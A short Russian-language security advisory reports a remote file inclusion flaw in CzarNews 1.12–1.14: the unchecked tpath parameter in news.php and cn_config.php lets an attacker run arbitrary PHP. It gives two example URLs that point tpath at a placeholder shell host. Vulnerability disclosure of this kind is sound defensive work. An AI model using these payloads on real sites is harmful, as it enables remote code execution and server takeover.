Программа: CzarNews v1.12-1.14
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP код на целевой системе. Данные, переданные в параметре tpath скриптов news.php и cn_config.php не проверяются, в результате атакующий может подключить произвольный локальный и внешний файл.
Пример:
http://sitename.com/news.php?tpath=http://SHELLURL.COM?
http://sitename.com/cn_config.php?tpath=http://SHELLURL.COM?
